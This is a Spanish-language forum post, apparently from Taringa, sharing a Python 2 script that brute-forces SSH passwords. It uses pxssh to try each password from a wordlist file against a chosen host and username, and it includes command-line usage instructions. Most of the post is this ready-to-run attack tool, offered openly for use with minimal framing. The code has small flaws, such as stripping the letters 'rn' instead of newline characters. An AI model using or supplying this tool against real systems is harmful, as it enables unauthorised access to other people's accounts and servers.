Te damos la bienvenida a la comunidad de T!Estás a un paso de acceder al mejor contenido, creado por personas como vos.

O iniciá sesión con
¿No tenés una cuenta?
Un saludo cordial, lincesas y manquinolas.
Deseo poder compartir con todos ustedes algo que vengo practicando con python, espero sea de ayuda para algunos o puedan corregirme.



La idea del presente código es el de hacer fuerza bruta a una cuenta ssh, con un usuario especifico y las contraseñas serán sacados de un archivo lista.txt.

SSH SSH (Secure SHell, en español: intérprete de órdenes segura) es el nombre de un protocolo y del programa que lo implementa, y sirve para acceder a máquinas remotas a través de una red.

pxssh pxssh la clase extiende pexpect.spawn especializarse establecer conexiones SSH. Esto añade métodos para inicio de sesión, cierre de sesión, y esperando que el intérprete de comandos.



dir(pxssh)


GtiHub

https://github.com/JuanFajardo/CodePython/blob/master/sshBrute/sshBrute.py




#!/usr/bin/python
__author__ = 'bett0'
#
#Escrito para http://www.CommunitySec.com/
#
#python sshBrute.py -h [IP/192.168.1.1] -u [USUARIO] -l [Diccionario]
#
#Importando paquete para el manejo del protocolo ssh
import pxssh
from optparse import OptionParser


def sshBrute(host, user, clave):
    s = pxssh.pxssh()
    try:
        s.login(host, user, clave)
        print('[+] La clave de {0} es: {1}'.format(user, clave))
        return 1
    except pxssh.ExceptionPxssh, e:
        #La excepcion se ejecuta cuando la clave es incorrecta
        print('[-] Intentando con {0}'.format(clave))
        return 0

def main():
    #La clase OptionParse para hacer mas vistoso los datos de entrada.
    parse = OptionParser(' -i [IP/192.168.1.1] -u [USUARIO] -l [Diccionario] ')
    parse.add_option('-i', '--ip',dest='ip',type='string',help='Es la ip a la maquina que atacara')
    parse.add_option('-u', '--user', dest='user', type='string', help='Nombre del usuario.')
    parse.add_option('-l', '--lista', dest='lista', type='string', help='Lista con las posibles claves')
    (opt, errors) = parse.parse_args()
    if opt.ip == None:
        print parse.usage()
        exit(0)
    else:
        host = opt.ip

    if opt.user == None:
        print parse.usage()
        exit(0)
    else:
        user = opt.user

    if opt.lista == None:
        print parse.usage()
        exit(0)
    else:
        lista = opt.lista

    try:
        with open(lista,'r') as claves:
            for password in claves:
                try:
                    clave = password.strip('rn')
                    resp = sshBrute(host, user, clave)
                    if resp == 1:
                        break
                except Exception, err:
                    print('Conectar : {0}'.format(err))
    except Exception, err:
        print('ErrorLista : {0}'.format(err))

if __name__=='__main__':
    main()



}

Para ejecutar el código sera de la siguiente manera.
python sshBrute.py -i 192.168.1.1 -u usuario -l lista.txt

donde:
-i , IP de la maquina donde esta corriendo el servicio de SSH.
-u, El nombre de usuario a intentar la contraseña.
-l , La lista de las posibles contraseñas.